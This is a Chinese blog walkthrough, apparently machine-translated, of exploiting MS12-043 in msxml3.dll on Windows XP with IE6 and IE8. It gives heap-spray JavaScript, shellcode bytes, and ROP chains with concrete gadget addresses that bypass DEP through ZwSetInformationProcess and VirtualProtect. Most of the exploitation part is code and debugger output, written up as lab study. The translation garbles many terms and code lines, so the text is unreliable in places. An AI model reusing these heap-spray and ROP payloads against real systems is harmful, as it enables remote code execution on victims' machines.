ms12mini,ms12文件

  ms12mini,ms12文件

  MS12-043漏洞分析手写ROP全过程

  这是一个练习写ROP的好例子。

  引入漏洞

  软件介绍

  Microsoft XML核心服务(MSXML)是一组服务,可用于通过JScript、VBScript和Microsoft开发工具编写的应用程序来构建基于XML的Windows原生应用程序。

  漏洞的原因

  Microsoft XML Core Services的3.0、4.0、5.0和6.0版中存在一个漏洞,该漏洞是由访问未初始化的内存位置引起的。远程攻击者可以利用此漏洞通过专门设计的网站执行任意代码或导致拒绝服务(内存损坏)。

  该漏洞发生在msxml3.dll模块中,msxml3.dll是微软的SAX2 helper类。主要用途包括:XSL转换(XSLT)和XML路径语言(XPath)的完整实现,XML实现的简单API的修改(SAX2),包括与万维网联盟(W3C)标准和OASIS测试套件的更高一致性。

  实验环境

  虚拟机:Windows XP SP3

  虚拟机:Kali Linux

  漏洞程序:IE6 IE8

  Idax86 DBGIM MDBG Mona插件

  漏洞重现

  在kali的msf里找MS12-043,看看有没有现成的用法:

  只有一个,设置有效载荷:设置有效载荷windows/exec,设置cmd calc.exe,运行。

  启动一个本地HTTP服务器,该服务器应该只提供poc页面:

  用Windows XP SP3自带的IE6打开,计算器会直接弹出:

  重现成功,该环境的IE6存在漏洞。接下来,分析漏洞样本。

  先验知识介绍

  光栅化处理单元

  ROP(面向返回编程(Return-oriented programming,ROP):这是一种内存攻击技术,可以用来绕过现代操作系统的各种常见防御(比如内存不可执行等。).ROP的核心思想是利用以ret结尾的指令序列,将堆栈中应该返回给EIP的地址改为我们需要的值,从而控制程序的执行进程。

  资料执行防止

  数据执行保护(DEP):用于弥补计算机对数据和代码的混淆。它的主要作用是阻止数据页(堆页、各种栈页、内存池页)执行代码。它受Windows XP SP2的支持。

  DEP的基本原理是将数据所在的内存页面表示为可执行页面。当程序溢出到外壳代码中时,CPU执行数据页上的指令以抛出异常,该异常进入异常处理而不是外壳代码执行。跳转到可执行区时,会触发异常0xC0000005(内存页类似于这个权限PAGE_READWRITE)

  祈祷

  HeapSpray是一种辅助技术,在shellcode前面添加大量滑板指令,形成注入代码段。然后向系统申请大量内存,反复填充注入的代码段。这使得进程的地址空间被大量注入的代码占用。然后通过其他漏洞攻击技术控制程序流程,使程序在堆上执行,最终会导致外壳代码的执行。

  漏洞分析

  触发漏洞概念验证:

  从POC代码可以看出,该漏洞是在解析img标签的src属性和处理src的值时,由于处理不当而触发,导致溢出和漏洞。

  追溯反汇编中溢出值的来源,不太明白是怎么回事。

  参考具体【原文】BBS.pediy.com-2012-1889雷暴漏洞详细分析(偏见原因)-二进制漏洞-观雪论坛-安全社区安全招聘 CVE。

  感觉这个阶段还不足以理解是怎么回事。这一次,我要练习写rop。

  将poc保存为html文件,通过实验环境的IE6打开,程序崩溃,x86dbg接管调试:

  在程序异常中,发现这里的eax的值已经被我们输入的值覆盖了,也就是eax的值是可控的,来自堆栈,然后地址会从eax中取出,然后赋给ecx,再调用[ecx0x18]得到控制权。

  为了便于测试,请在物理机中编辑HTML,并打开http服务器供虚拟机访问:

  python -m http.server 8080

  这里的一个思路是通过堆喷覆盖高位地址0x 0 c 0 c 0 c 0 c 0 c,然后触发漏洞,构造内容,这样就可以通过下面的调用获得控制权。这里用上次CVE分析看到的堆喷代码-2010-2883,改shellcode:

  var shell code=unescape( % u0c0c % u0c0c //mov ecx,[eax]

  %u4141%u4141

  %u4141%u4141

  %u4141%u4141

  %u4141%u414

  %uaaaa%uaaaa //[ecx0x18]

  );

  var var _ C=unescape(% u 0 C 0 C % u 0 C 0 C);

  while(var _ C . length 20 8 65536)var _ C=var _ C;

  var_D=var_C.substring(0,(0x 0 c0c-0x 24)/2);

  var _ D=shellcode//拼接外壳代码

  var _ D=var _ C;//拼接滑块代码

  var_E=var_D.substring(0,65536/2);

  while(var _ E . length0x 80000)var _ E=var _ E;

  var_H=var_E.substring(0,0x 80000-(0x 1020-0x 08)/2);//7F7F4

  var var _ F=new Array();

  for(var _ G=0;var _ G0x1f0var_G ) var_F[var_G]=var_H s

  这段代码是为了申请一个大小接近1M的数组成员数组。通过堆喷将shellcode准确填充到0x0c0c0c0c,访问链接测试:

  可以看到,0x0c0c0c0c已经覆盖了我们写的shellcode,这里调用会跳转到地址0xaaaaaa:

  到目前为止,已经成功获得了控制权,只要合理构造shellcode就可以利用,然后构造ROP。

  利用:XP IE6

  ROP的意思就是绕过保护,执行外壳代码。Windows XP IE 6环境下默认没有DEP保护,可以直接在堆中执行代码。

  这里需要用js写Here代码。在这里你可以上网(参考文献[4]),白嫖有一个将shellcodeC语言转换成JS语言的代码:

  int main(int argc,char* argv[])

  {

  //mergeSort(a,0,5);unsigned char buf[]={ \ xFC \ x68 \ x6A \ x0A \ x38 \ x1E \ x68 \ x63 \ x89 \ xD1 \ x4F \ x68 \ x32 \ x74 \ x91 \ x0C \ x8B \ xF4 \ x8D \ x7E \ xF4 \ x33 \ xDB \ xB7 \ x04 \ x2B \ xE3 \ x66 \ xBB \ x33 \ x32 \ x53 \ x68 \ x75 \ x73 \ x65 \ x72 \ x54int I=0;int n=sizeof(buf)-1;if(n ^ 1)n-;FILE* fp=fopen(shellocde.txt , w );for(I=0;i i=2) { fprintf(fp,\\uXX,buf[i 1],buf[I]);} n=sizeof(buf)-1;if(n ^ 1){ fprintf(FP,\\uXX,0,buf[I]);} f close(FP);返回0;}

  这里自带的shellcode是0day的failwest的MessageBox,我们就在这里用吧。

  构造外壳代码:

  var shellcode=unescape( % u0bf 8% u0c0c //mov ecx,[eax]0x0c0c0bf8

  %u0c14%u0c0c //[ecx0x18]

  );

  shellcode=\ u68FC \ u0A6A \ u1e 38 \ u 6368 \ ud 189 \ u684F \ u 7432 \ u0c 91 \ uF48B \ u7E8D \ u33f 4 \ uB7DB \ u2b 04 \ u66e 3 \ u33BB \ u 5332 \ u 7568 \ u 6573 \ u 5472 \ ud 233 \ u8b 64 \ u305A \ u4b 8b \ u8B0C \ u1c 49

  测试:

  Shellcode已成功实施和使用。

  剥削:XP IE8(1)

  在本节中,ZwSetInformationProcess用于绕过DEP。写完ROP,发现还是不能运行。经过搜索,IE8已经调用了API,API只有第一次有效。所以这一段是脚踏实地。你可以跳过“绕过DEP”这一节,看下一节用其他方法绕过DEP。

  Windows IE8已经开启了DEP,堆喷已经被限制。直接用字符串赋值的方式将被禁止,js代码将无法执行。如果再次访问这个poc地址,调试会发现0x0c0c0c0c这个地址没有申请过,不存在。

  因此,有必要修改堆喷的代码,改变原来的:

  for(var _ G=0;var _ G0x1f0var_G ) var_F[var_G]=var_H s

  修改为:

  for(var _ G=0;var _ G0x1f0var _ G)var _ F[var _ G]=var _ h . substr(0,var_H.length) s

  再次访问以前的poc地址:

  触发DEP数据执行保护,并单击调试:

  EIP寄存器指向我们的弹出shellcode,0xC00000005执行访问违规的异常发生在这里,也说明了是DEP的影响导致这里无法执行。

  因此,我们需要找到一种绕过DEP保护来执行外壳代码的方法。根据之前学习DEP的经验,我们可以通过跳转到ZwSetInformationProcess函数来关闭进程的DEP,然后转化为shellcode来执行。

  进程的DEP设置的ID保存在_KEPROCESS的_ KE _KEXECUTE_OPTIONS中,可以通过ZwSetInformationProcess进行修改。该结构声明:

  //0x1字节(sizeof)

  结构_执行_选项

  {

  UCHAR execute disable:1;//0x0 DEP开启时设置为1。

  UCHAR execute enable:1;//0x0 DEP关闭时设置为1。

  UCHAR disable thu nkemulation:1;//0x0与ATL程序兼容

  UCHAR永久:1;//在//0x0设置为1后,这些标志不能修改。

  UCHAR ExecuteDispatchEnable:1;//0x0

  UCHAR imagedispatchanable:1;//0x0

  UCHAR备用:2;//0x0

  };

  影响DEP的是前两位,因此可以通过将该结构的值设置为0x02来关闭DEP。

  设置函数ZwSetInformationProcess:

  NTSYSCALLAPI

  NTSTATUS NTAPI ZwSetInformationProcess(

  进程句柄中的句柄//进程句柄,设置为-1时表示当前进程。

  在进程信息类processinformationclass,//信息类中

  在PVOID ProcessInformation中,//set _KEXECUTE_OPTIONS

  InulongProcessInformationLength//第三个参数的长度

  )

  根据文献[6]可知,关闭DEP所需的参数依次为-1,0x22,0x2,0x4。

  当进程的永久位未设置时,将在加载DLL时检查它的DEP兼容性。如果有任何兼容性问题,DEP将被关闭。有一个函数叫做LdrpCheckNXCompatibility,用来判断兼容性。如果有任何兼容性问题,将调用ZwSetInformationProcess函数:(使用windbg查看此程序)

  0:000 uf ntdll!ldrpchecknx兼容性

  ntdll!ldrpchecknx兼容性:

  7c93cd11 8bff mov edi,edi

  7c93cd13 55推送ebp

  7c93cd14 8bec mov ebp,esp

  7c93cd16 51推送ecx

  7c93cd17 8365fc00和dword ptr [ebp-4],0

  7c93cd1b 56推式esi

  7 c 93 CD 1 c ff 7508 push dword ptr[ebp 8]

  7c93cd1f e887ffffff调用ntdll!LdrpCheckSafeDiscDll(7c 93 ccab);请检查它是否是SafeDiskDll。

  7c93cd24 3c01 cmp al,1;与al 1相比,如果校验成功,al会返回1,所以这里应该设置为1。

  7c93cd26 6a02按钮2

  7 c 93 CD 28 5e pop ESI;将esi设置为2。

  7c93cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility0x1a(7 c 95 f 70e);跳(看完)

  ntdll!ldrpchecknx兼容性0x1d:

  7 c 93 CD 2f 837 DFC 00 CMP dword ptr[ebp-4],0;比较ebp-4和0,确定ebp-4是否为2。如果是2,将跳转到DEP关闭过程。

  7c93cd33 0f85f89a0100 jne ntdll!LdrpCheckNXCompatibility0x4d(7c 956831);如果他们不一样,跳,这里他们会跳(见下文)。

  .

  ntdll!ldrpchecknx兼容性0x5c:

  7c93cd6d 5e pop esi

  7c93cd6e c9离开

  7 c 93 CD 6 f c 20400 ret 4;返回ret 4

  ntdll!ldrpchecknx兼容性0x4d:

  7c956831 6a04推4;四

  7c956833 8d45fc lea eax,[ebp-4]

  7c956836 50推eax2

  7c956837 6a22推22h0x22

  7c956839 6aff推0FFFFFFFFh-1

  7c95683b e84074fdff调用ntdll!ZwSetInformationProcess(7c 92 DC 80);这是一个让DEP失去兴趣的参数。跳到这里关闭DEP。

  7c956840 e92865feff jmp ntdll!LdrpCheckNXCompatibility0x5c(7c 93 CD 6d);向后跳(见上文)

  ntdll!ldrpchecknx兼容性0x1a:

  7 c 95 f 70 e 8975 fc mov dword ptr[ebp-4],esi将esi分配给[ebp-4]

  7c95f711 e919d6fdff jmp ntdll!LdrpCheckNXCompatibility0x1d(7 c 93 CD 2 f);向后跳

  这里可以直接跳转到这个判断点(0x7c93cd24),预先设置al为1,按照al=1的逻辑。这是关闭DEP的过程。

  现在要做的事情的过程已经很清楚了,那就是:

  将ebp切换到0x0c0c0c0c以控制堆栈

  给al一个值1。

  跳转到0x7c93cd24关闭DEP

  跳转到shellcode,使用msf自带的工具msfpescan帮助找到跳板。

  踩坑

  在这里,当IE8打开链接时,将创建一个子进程。但是msxml3.dll的基址每次都不一样,导致这里调试困难。这里需要再找一个基址相同的模块来找跳板。

  因为这里创建了子进程,直接触发崩溃的实时调试器无法接管崩溃前的状态,所以无法从断点一点一点往下看执行和堆栈,也无法在使用x86dbg插件dbgchild进入rop前中断。

  这里的解决方法是让他直接进入后面的异常处理部分,然后修改EIP指针返回漏洞的触发点来跟进shellcode的编写:

  进入rop后,包括堆栈和寄存器都是我们自己构造的,所以这里直接把eip修改为漏洞触发前的地址,eax=0x 0 c 0 c 0 c 0 c 0 c,两者在漏洞触发时必须相等,调试起来没问题。

  或者你可以卸载IE8,重新安装到IE6中,在上面写绕过DEP的ROP,然后重新安装到IE8测试中。这里先用IE6来写。

  构造ROP- Take控件

  首先,我们需要将堆栈顶部的esp修改到我们构建的内存中。

  找一个pop xxxpop espRet的说明书,但是找了好久都没找到。

  找到了pop espRet指令,但是call以前在栈上有返回地址,没有办法修复esp。

  找了一下午,发现这个命令还是可以用的:xchg eax,espRet,可以把eax中的0x 0 c 0 c 0 c 0 c 0 c交换到esp中,但是还是不行,因为交换之后,esp中存储的返回地址一定是不可操作的。

  Mona搜索xchg eax,espret:

  日志数据,项目21

  地址=75C7BC70

  message=0x 75 C7 BC 70:\ x94 \ xc3 { PAGE _ EXECUTE _ READ }[urlmon.dll]ASLR:False,Rebase: False,SafeSEH: True,OS: True,v 6 . 00 . 2900 . 5512(C:\ WINDOWS \ system32 \ urlmon . dll)

  再看一下这段代码:

  整理当前信息:

  shellcode中的可控内容以0x0c0c0c0c开始,0x0c0c0c0c 0 c之前的内存的值为0x 0 c 0 c 0 c 0 c。

  eax的值是我们可以操纵的。

  esi的值来自eax。

  ecx的值来自[eax]

  第一次调用使用[ecx0x18]的值,这意味着[[eax]0x18]的地址就是第一次调用的地址。这个时候esp的交换会导致无法跳转和卡顿,你可以直接用ret跳过。

  第一次调用后,eax=[esi]将被分配。如果[esi]不同于esi,[esi]是保存指令的地址,那么可以在xchg之后使用ret。

  第二个调用使用[eax 8]。综上所述,可以得出结论,用0x0c0c0c0c 08填充eax,其值为0x 0 c 0 c 0 c 0 c,不会影响第一个调用所在的0x0c0c0c24。然后,在第一次调用之后,eax将被赋予值0x0C0C0C0C0C。相比第一次调用,直接使用xchg。0x0c0c0c08的值可以修改,因为0x0c0c08是作为基址来计算第一次调用的地址,然后用xchg就可以得到控制流。

  构造外壳代码:

  var外壳代码=\u4141\u4242 //esp

  \u9090\u9090 //

  \ubc70\u75c7 //call [ecx0x18] ret

  \ u 9090 \ u 9090 \ u 9090 \ u 9090 \ u 9090 \ u 9090//填充

  \ubc71\u75c7 //xchg eax,esp浸水使柔软

  ;

  测试:

  至此,esp已经可控,接下来就方便构造返回地址了。

  构建ROP以绕过DEP

  接下来,我们需要将1,mov al,1赋值给al;Ret,使用immdbg的mona插件搜索:

  !蒙娜芬-s \ xB0 \ x01 \ xc3-m kernel32.dll

  .

  日志数据,项目14

  地址=7C80C190

  message=0x7c 80 C 190:\ xB0 \ x01 \ xc3 { PAGE _ EXECUTE _ READ }[kernel32.dll]ASLR:False,Rebase: False,SafeSEH: True,OS: True,v 5 . 1 . 2600 . 5512(C:\ WINDOWS \ system32 \ kernel 32 . dll)

  然后跳转到0x7c93cd24关闭DEP:

  构造外壳代码:

  var shell code=\ UC 190 \ u7c 80//mov al,1 ret

  \ucd24\u7c93 //关闭DEP0x7c93cd24

  \ubc70\u75c7 //call [ecx0x18] ret

  \ u 9090 \ u 9090 \ u 9090 \ u 9090 \ u 9090 \ u 9090

  \ubc71\u75c7 //xchg eax,esp浸水使柔软

  ;

  测试:

  不,有问题。这里,leave指令将ebp给esp。在这里,我们需要先修复ebp。

  找个推送esppop ebpRet指令

  日志数据,项目19

  地址=75CC97D8

  message=0x 75 cc 97d 8:\ x54 \ x5d \ xc2 { PAGE _ EXECUTE _ READ }[urlmon.dll]ASLR:False,Rebase: False,SafeSEH: True,OS: True,v 6 . 00 . 2900 . 5512(C:\ WINDOWS \ system32 \ urlmon . dll)

  日志数据,项目3

  地址=76FE67B0

  message=0x 76 Fe 67 b 0:\ x54 \ x5d \ xc2 \ x08 { PAGE _ EXECUTE _ READ }[CLBCATQ.DLL]ASLR:False,Rebase: False,SafeSEH: True,OS: True,v 2001 . 12 . 4414 . 700(C:\ WINDOWS \ system32 \ CLBCATQ。DLL)

  修复ebp后,将值1赋给al,关闭DEP,并构造外壳代码:

  var shell code=\ u97d 8 \ u75cc//repire ebp push esp pop ebp ret 40x 75 cc 97d 8

  \uc190\u7c80 //移动al,1 ret

  \ubc70\u75c7 //call [ecx0x18] ret

  \ucd24\u7c93 //关闭DEP

  \u9090\u9090

  \u9090\u9090

  \ubc71\u75c7 //xchg eax,esp浸水使柔软

  ;

  调试:

  可以看到,调用完成后,esp位置的原有内容被覆盖,再次卡在这里。这里ebp在esp之上,这就导致了ebp和esp最后的互换。低位地址我们很容易控制,高位0x0c0c0c14就不能再控制了,所以需要给ebp一个合适的可控位置,这样返回地址就可以控制了:

  pop ebp,ret:

  日志数据,项目22

  地址=75C61CD6

  message=0x 75 C 61 CD 6:\ x5d \ xc3 { PAGE _ EXECUTE _ READ }[urlmon.dll]ASLR:False,Rebase: False,SafeSEH: True,OS: True,v 6 . 00 . 2900 . 5512(C:\ WINDOWS \ system32 \ urlmon . dll)

  这里给ebp一个ROP旁边的位置,外壳代码构造:

  var shell code=\ u67b 0 \ u76fe//repire ebp push esp pop ebp ret 80x 76 Fe 67 b 0

  \uc190\u7c80 //移动al,1 ret

  \ubc70\u75c7 //xchg esp,eax ret

  \u9090\u9090

  \ u1cd 6 \ u75c 6//pop ebp ret0x 75 c 61 CD 6

  \u0c28\u0c0c //ebp值

  \ubc71\u75c7 //call [ecx0x18] ret

  \ucd24\u7c93 //关闭DEP

  \u0c30\u0c0c //外壳代码地址

  ;

  这是ebp的地址。这个地址是ebp下面一点的位置:

  然后跳到ret:

  接下来就是关闭DEP的跳转,执行到底:esp的位置将是ebp 4的位置,即0x0c0c0c2C:

  在这里填写shellcode的地址,可以直接跳转执行。去吧:

  IE6成功修改了DEP的ROP弹出窗口,然后改成了IE8。

  IE6的使用和IE8的移植

  更新IE8后发现还是不能运行。经过调试,IE6上的一些地址在IE8上无法使用。

  注意:要找到滑板说明,必须找到系统自带的说明。软件的dll可能会更新,然后地址会改变。

  接下来,搜索对应的功能指令地址并替换它。

  更换xchg esp,eaxRet是kernel32.dll的地址

  日志数据,项目18

  Address=7C830E49

  message=0x7c 830 e 49:\ x94 \ xc3 { PAGE _ EXECUTE _ READ }[kernel32.dll]ASLR:False,Rebase: False,SafeSEH: True,OS: True,v 5 . 1 . 2600 . 5512(C:\ WINDOWS \ system32 \ kernel 32 . dll)

  更换pop ebpret:

  日志数据,项目5

  地址=77BEBB7C

  message=0x 77 bebb 7 C:\ x5d \ xc3 { PAGE _ EXECUTE _ READ }[msvcrt.dll]ASLR:False,Rebase: False,SafeSEH: True,OS: True,v 7 . 0 . 2600 . 5512(C:\ WINDOWS \ system32 \ msvcrt . dll)

  结论

  失败了。经过一番查找(参考文献[8]),得知该函数只有在第一次调用时才有效。IE8已经调用了这个函数,所以再次调用时这个函数无效。因此,用这种方法绕过IE8的DEP失败了,然后用下一种方法绕过DEP。

  今天到此为止(从早上10点到晚上10点,告诉我就这样?),明天继续,明天看我肝出来半天!

  利用:WindowsXP IE8(2)

  绕过DEP的下一个方法:使用VirtualProtect绕过DEP

  函数声明:

  布尔虚拟保护(

  [in] LPVOID lpAddress,//地址

  [in] SIZE_T dwSize,//size

  [in] DWORD flNewProtect,//protect属性,可执行文件为0x40。

  [out] PDWORD lpflOldProtect //若要保存旧的保护属性,需要一个可写地址。

  );

  使用windbg查看:

  0:000 uf虚拟保护

  kernel32!虚拟保护:

  7c801ad4 8bff mov edi,edi

  7c801ad6 55推送ebp

  7c801ad7 8bec mov ebp,esp

  7c801ad9 ff7514推送dword ptr[ebp 14h];的旧属性

  7c801adc ff7510推送dword ptr[ebp 10h];修改属性

  7c801adf ff750c推送dword ptr[ebp 0Ch];修改大小

  7c801ae2 ff7508推送dword ptr[ebp 8];修改地址

  7c801ae5 6aff推0FFFFFFFFh当前流程

  7c801ae7 e875ffffff调用kernel32!VirtualProtectEx (7c801a61)

  7c801aec 5d pop ebp

  7c801aed c21000 ret 10h

  只需要在栈中准备好参数后跳转到0x7c801ad9进行调用即可。

  刚刚获得控制流的Shellcode:

  var外壳代码=\u4141\u4242 //esp

  \u9090\u9090

  \ubc70\u75c7 //call [ecx0x18] ret

  \u9090\u9090

  \u9090\u9090

  \u9090\u9090 //填充

  \ubc71\u75c7 //xchg eax,esp浸水使柔软

  ;

  接下来要做的事情:

  将尤指放在安全的地方。

  修复ebp

  调用函数

  跳到shellcode或者拿着刚刚找到的跳板:

  地址

  指令

  0x77BEBB7C

  pop ebp ret

  0x770F17A3

  ret 8

  0x7c830e49

  xchg esp,eax

  外壳代码的构造如下:

  var外壳代码=\u17a3\u770f //ret 8 770F17A3

  \ ubb7c \ u77be//pop ebp ret0x 77 bebb 7c

  \u0e49\u7c83 //xchg eax,espret0x7C830E4a

  \u9090\u9090

  \u0c20\u0c0c //ebp值

  \u1ad9\u7c80 //虚拟保护0x7c801ad9

  \ u0e4a \ u7c 83//call[ecx0x 18]ret0x7c 830 e 49

  //\u9090\u9090 //用于异常断开程序,可与上述线路互换。

  \u0c38\u0c0c //参数地址

  \u1000\u0000 //参数大小

  \u0040\u0000 //Param Protect0x40

  \u0c0c\u0c00 //旧保护

  ;

  第一个是ret 8,跳转到pop ebp ret,跳过堆栈中xchg esp,ear ret指令的地址。

  弹出为ebp构造的值,其中保存了VirtualProtect所需的参数:

  这里参数的最后一项是shellcode的第一个地址。

  在执行完成后

  直接跳转到shellcode执行,一气呵成的展示效果:

  完整的利用率代码:

  参考数据

  [1][原创][分享]BBS.pediay.com(3359bbs.pediay.com/thread-263702.htm)CVE-2012-1889(雷雨)漏洞分析报告-二进制漏洞-观雪论坛-安全社区安全招聘安全

  [2]Internet Explorer(CVE-2012-1889)雷暴漏洞分析报告[WinXP IE6版] _capnik的博客-CSDN博客

  (https://blog.csdn.net/capnik/article/details/58614449)

  [3][新提醒]雷雨漏洞个人漏洞分析报告(CVE-2012-1889)-“软件调试区”-我的爱破解-LCG-LSG 安卓破解病毒分析 www.52pojie.cn(3359 www.52pojie.cn/thread-730322

  [4] Shellcode转换成JavaScript支持的正式代码_担心蛋Y的博客-https://blog.csdn.net/qq_22000459/article/details/75602013 CSDN博客

  [5] CVE-2012-1889(雷雨)漏洞分析_于大头的博客-CSDN博客(https://blog.csdn.net/datouyu0824/article/details/115040689)

  [6] 《0day安全》第二版。DEP保护机制相关内容

  [7] MSFPESCAN用法_whatday的博客-https://blog.csdn.net/whatday/article/details/82909485 CSDN博客

  [8][Help]zwsetinformationprocess无法关闭BBS.pediay.com(https://bbs.pediy.com/thread-183175.htm)DEP-二进制漏洞-观雪论坛-安全社区安全招聘

  [9][原创][分享]BBS.pediy.com(https://bbs.pediy.com/thread-263717.htm)CVE-2012-1889雷暴漏洞详细分析(偏差原因)-软件反向-观雪论坛-安全社区安全招聘安全

  转载请联系作者获得转载授权,否则将追究法律责任。

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

相关文章阅读

  • office2010激活密钥大全 怎么永久激活office2010
  • project2010产品密钥免费_project2010激活密钥永久激活码
  • c语言调用退出函数 c语言退出整个程序怎么写
  • c语言中怎么给函数初始化 c语言的初始化语句
  • c语言编写函数计算平均值 c语言求平均函数
  • chatgpt是什么?为什么这么火?
  • ChatGPT为什么注册不了?OpenAI ChatGPT的账号哪里可以注册?
  • OpenAI ChatGPT怎么注册账号?ChatGPT账号注册教程
  • chatgpt什么意思,什么是ChatGPT ?
  • CAD中怎么复制图形标注尺寸不变,CAD中怎么复制图形线性不变
  • cad中怎么创建并使用脚本文件,cad怎么运行脚本
  • cad中快速计算器的功能,cad怎么快速计算
  • cad中快速修改单位的方法有哪些,cad中快速修改单位的方法是
  • cad中心点画椭圆怎么做,cad轴测图怎么画椭圆
  • CAD中常用的快捷键,cad各种快捷键的用法
  • 留言与评论(共有 条评论)
       
    验证码: